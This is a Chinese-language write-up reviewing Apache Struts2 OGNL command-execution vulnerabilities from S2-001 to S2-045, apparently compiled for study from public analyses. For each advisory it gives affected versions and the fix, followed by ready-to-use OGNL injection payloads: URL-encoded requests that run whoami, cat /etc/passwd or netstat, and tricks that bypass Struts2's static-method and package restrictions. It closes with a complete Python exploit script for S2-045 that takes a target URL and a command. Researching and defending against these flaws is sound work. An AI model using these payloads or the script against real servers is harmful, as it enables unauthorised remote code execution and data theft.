Struts2命令执行系列回顾

一直都想分析下Struts2命令执行系列的的漏洞,但是能力有限,对java、Struts2都不熟悉。后来偶然看到rickgray的分析文章,尝试简单分析,做个记录o(╯□╰)o
这是Struts2官方的各个版本历史记录 Security Bulletins
Struts2命令执行的原因都是是通过Ognl表达式执行java代码,最终实现命令执行。所以应该需要先了解ognl表达式。

ongl表达式

下面引用来自OGNL设计及使用不当造成的远程代码执行漏洞

OGNL是Object-Graph Navigation Language的缩写,它是一种功能强大的表达式语言(Expression
Language,简称为EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
OGNL三要素:(以下部分摘抄互联网某处,我觉得说得好)

  1. 表达式(Expression)

表达式是整个OGNL的核心,所有的OGNL操作都是针对表达式的解析后进行的。表达式会规定此次OGNL操作到底要干什么。我们可以看到,在上面的测试中,name、department.name等都是表达式,表示取name或者department中的name的值。OGNL支持很多类型的表达式,之后我们会看到更多。

  1. 根对象(Root Object)

根对象可以理解为OGNL的操作对象。在表达式规定了“干什么”以后,你还需要指定到底“对谁干”。在上面的测试代码中,user就是根对象。这就意味着,我们需要对user这个对象去取name这个属性的值(对user这个对象去设置其中的department中的name属性值)。

  1. 上下文环境(Context)

有了表达式和根对象,我们实际上已经可以使用OGNL的基本功能。例如,根据表达式对根对象进行取值或者设值工作。不过实际上,在OGNL的内部,所有的操作都会在一个特定的环境中运行,这个环境就是OGNL的上下文环境(Context)。说得再明白一些,就是这个上下文环境(Context),将规定OGNL的操作“在哪里干”。
OGN L的上下文环境是一个Map结构,称之为OgnlContext。上面我们提到的根对象(Root
Object),事实上也会被加入到上下文环境中去,并且这将作为一个特殊的变量进行处理,具体就表现为针对根对象(Root
Object)的存取操作的表达式是不需要增加#符号进行区分的。

表达式功能操作清单:

1. 基本对象树的访问
对象树的访问就是通过使用点号将对象的引用串联起来进行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx

2. 对容器变量的访问
对容器变量的访问,通过#符号加上表达式进行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx

3. 使用操作符号
OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。

4. 容器、数组、对象
OGNL支持对数组和ArrayList等容器的顺序访问:例如:group.users[0]
同时,OGNL支持对Map的按键值查找:
例如:#session['mySessionPropKey']
不仅如此,OGNL还支持容器的构造的表达式:
例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
你也可以通过任意类对象的构造函数进行对象新建:
例如:new Java.net.URL("xxxxxx/")

5. 对静态方法或变量的访问
要引用类的静态方法和字段,他们的表达方式是一样的@class@member或者@class@method(args):
例如:@com.javaeye.core.Resource@ENABLE,@com.javaeye.core.Resource@getAllResources

6. 方法调用
直接通过类似Java的方法调用方式进行,你甚至可以传递参数:
例如:user.getName(),group.users.size(),group.containsUser(#requestUser)

7. 投影和选择
OGNL支持类似数据库中的投影(projection) 和选择(selection)。
投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性。
例如:group.userList.{username}将获得某个group中的所有user的name的列表。
选择就是过滤满足selection 条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
? 选择满足条件的所有元素
^ 选择满足条件的第一个元素
$ 选择满足条件的最后一个元素
例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。

所以理论上外部某些参数能够进入OGNL流程,那么可以执行恶意代码,而且Struts2大量地使用了OGNL,导致漏洞触发率大大增加。

触发途径

通过对一系列的struts2的poc观察,一般是通过修改StaticMethodAccess或是创建ProcessBuilder对象。

#_memberAccess["allowStaticMethodAccess"]=true // 用来授权允许调用静态方法
或
new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start()

但struts2加强了ognl的验证,allowStaticMethodAccess已经变成的final属性,但是任然有方法可以绕过。

s2-001

官方链接:https://struts.apache.org/docs/s2-001.html

影响版本:Struts 2.0.0 -Struts 2.0.8

修复摘要:数据 re-display 时禁止执行 OGNL 表达式

该漏洞其实是因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}
进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value}对提交的数据执行了一次 OGNL 表达式解析。

Poc:
获取tomcat执行路径:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

命令执行:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

s2-007

官方链接:https://struts.apache.org/docs/s2-007.html

影响版本:Struts 2.0.0 - Struts 2.2.3

修复摘要:在转换的过程中进行字符过滤

修复补丁:https://fisheye6.atlassian.com/changelog/struts?cs=b4265d369dc29d57a9f2846a85b26598e83f3892

当配置了验证规则 -validation.xml
时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个
UserAction:

(...)
public class UserAction extends ActionSupport {
    private Integer age;
    private String name;
    private String email;

(...)

然后配置有 UserAction-validation.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
    "-//OpenSymphony Group//XWork Validator 1.0//EN"
    "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
    <field name="age">
        <field-validator type="int">
            <param name="min">1</param>
            <param name="max">150</param>
        </field-validator>
    </field>
</validators>

当用户提交 age 为字符串而非整形数值时,后端用代码拼接 “‘“ + value + “‘“ 然后对其进行 OGNL
表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意
OGNL 表达式。

Poc:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

s2-008

官方链接:https://struts.apache.org/docs/s2-008.html

影响版本:Struts 2.1.0 - Struts 2.3.1

修复摘要:添加参数名和 Cookie 名白名单 acceptedParamNames = “[a-zA-Z0-9.][()_’]+”;

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对
Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启
devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx
所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug
模式的应用到服务器上作为后门也是有可能的。

例如在 devMode 模式下直接添加参数 ?debug=command&expression= 会直接执行后面的
OGNL 表达式,因此可以直接执行命令(注意转义):

Poc:

http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29)

s2-012

官方链接:https://struts.apache.org/docs/s2-012.html

影响版本:Struts 2.0.0 - Struts 2。3.13

修复摘要:默认禁用 OGNLUtil 类的 OGNL 表达式执行

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

<package name="S2-012" extends="struts-default">         <action

name=”user” class=”com.demo.action.UserAction”> /index.jsp?name=${name}
/index.jsp /index.jsp 这里
UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name}
获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行

Poc:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

s2-013/s2-014

官方链接:https://struts.apache.org/docs/s2-013.html,
https://struts.apache.org/docs/s2-014.html

影响版本:Struts 2.0.0 - Struts 2.3.14 (Struts 2.3.14.1)

修复摘要:在对标签进行请求参数操作时禁用 OGNL 表达式解析 Struts2 标签中 <s:a> 和 <s:url> 都包含一个
includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

none - 链接不包含请求的任意参数值(默认) get - 链接只包含 GET 请求中的参数和其值 all - 链接包含 GET 和
POST 所有参数和其值 若设置了 includeParams=”get” 或者
includeParams=”all”,在获取对应类型参数时后端会对参数值进行 OGNL 表达式解析,因此可以插入任意 OGNL
表达式导致命令执行

Poc:

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new
java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new
char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
// 或
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}

如:

http://localhost:8080/S2-013/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此
S2-014 是对其的补丁加强。

http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D

s2-015

官方链接:https://struts.apache.org/docs/s2-015.html

影响版本:Struts 2.0.0 - Struts 2.3.14.2

修复摘要:针对 Action 名称进行默认字符限制 [a-z][A-Z][0-9][.-_!/] 漏洞产生于配置了 Action 通配符
*,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

<package name="S2-015" extends="struts-default">         <action name="*"

class=”com.demo.action.PageAction”> /{1}.jsp
上述配置能让我们访问 name.action 时使用 name.jsp
来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name
值的位置比较特殊,一些特殊的字符如 / “
都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。

还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了
SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2
版本以后都不能直接通过 #_memberAccess[‘allowStaticMethodAccess’]=true
来修改其值达到重获静态方法调用的能力。

这里为了到达执行命令的目的可以用 kxlzx 提到的调用动态方法 (new
java.lang.ProcessBuilder(‘calc’)).start() 来解决,另外还可以借助 Java 反射机制去间>接修改:
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)

Poc:

http://localhost:8080/S2-015/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}.action

s2-16

官方链接:https://struts.apache.org/docs/s2-016.html

影响版本:Struts 2.0.0 - Struts 2.3.15

修复摘要:删除 “action:”,”redirect:”,”redirectAction:” 这些前置前缀调用
DefaultActionMapper 类支持以 action:,redirect: 和 redirectAction:
作为访问前缀,前缀后面可以跟 OGNL 表达式,由于 Struts2 未对其进行过滤,导致任意 Action 可以使用这些前缀执行任意
OGNL 表达式,从而导致任意命令执行,经测试发现 redirect: 和 redirectAction:
这两个前缀比较好容易构造出命令执行的 Payload(转义后)

Poc:

http://localhost:8080/S2-016/default.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%7D

s2-019

官方链接:http://struts.apache.org/docs/s2-019.html

影响版本:Struts 2.0.0 - Struts 2.3.15.1

因为开启了开发者模式,传入debug=command&expression=导致执行OGNL表达式,从而造成命令执行漏洞。

Poc:
获取web目录:

http://localhost:8080/S2-019/example/HelloWorld.action?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28%27dbapp%3A%27%2bnew%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A

s2-029

官方链接:https://struts.apache.org/docs/s2-029.html

影响版本:Struts 2.0.0 - Struts 2.3.16

修复摘要:限制传入标签属性的值,对其进行合规的正则验证 简单的说就是当开发者在模版中使用了类似如下的标签写法时,后端 Struts2
处理时会导致二次 OGNL 表达式执行的情况:

<s:textfield name=”%{message}”> 这里需要注意的是,仅当只有 name
属性这样写的情况下才能触发 OGNL 表达式执行,并且该标签中不能显示写有 value
属性。详细分析可参考天融信阿尔法实验室的张萌所写的《struts2漏洞s2-029分析》

到 S2-029 这里是,Struts2 已经增加了相当多的安全检测了,所以想要直接执行命令还需要通
过修改这些安全参数来绕过最后的执行检测,具体的安全参数版本差异同样可参考上面的详细分析文章。

Poc:

http://localhost:8080/S2-029/default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))

s2-032

官方链接:https://struts.apache.org/docs/s2-032.html

影响版本:Struts 2.3.20 - Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

修复摘要:过滤通过 method: 传入的 action 名称,限制其字符范围 protected Pattern
allowedActionNames = Pattern.compile(“[a-zA-Z0-9._!/-]*”); 在配置了
Struts2 DMI 为 True 的情况下,可以使用 method: Action 前缀去调用声明为 public
的函数,DMI 的相关使用方法可参考官方介绍(Dynamic Method Invocation),这个 DMI
的调用特性其实一直存在,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL
计算,而在高版本中会,代码详情可参考阿尔法实验室的报告 - 《Apache Struts2 s2-032技术分析及漏洞检测脚本》

要成功利用必须要开 DMI 才可以:

找到目标应用有效的 Action 例如 index.action,那么直接使用 DMI 在 method: 后面带上需要执行 OGNL表达式即可(注意转义)

Poc:
获取web目录:

http://localhost:8080/S2-032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.web[0]),%23w.print(%23parameters.path[0]),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8&web=web&path=path%3a

命令执行:

http://localhost:8080/S2-032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

s2-devMode

影响:Struts 2.1.0–2.5.1

当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

Poc:

http://localhost:8080/S2-devMode/orders/3/?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=netstat -ano

S2-045

官方链接:http://struts.apache.org/docs/s2-045.html

影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

通过Content-Type这个header头,注入OGNL语言,进而执行命令。

Poc:

#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page


if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)

参考

  1. Struts2 历史 RCE 漏洞回顾不完全系列
  2. Struts2命令执行集合
  3. vulhub
  4. VulApps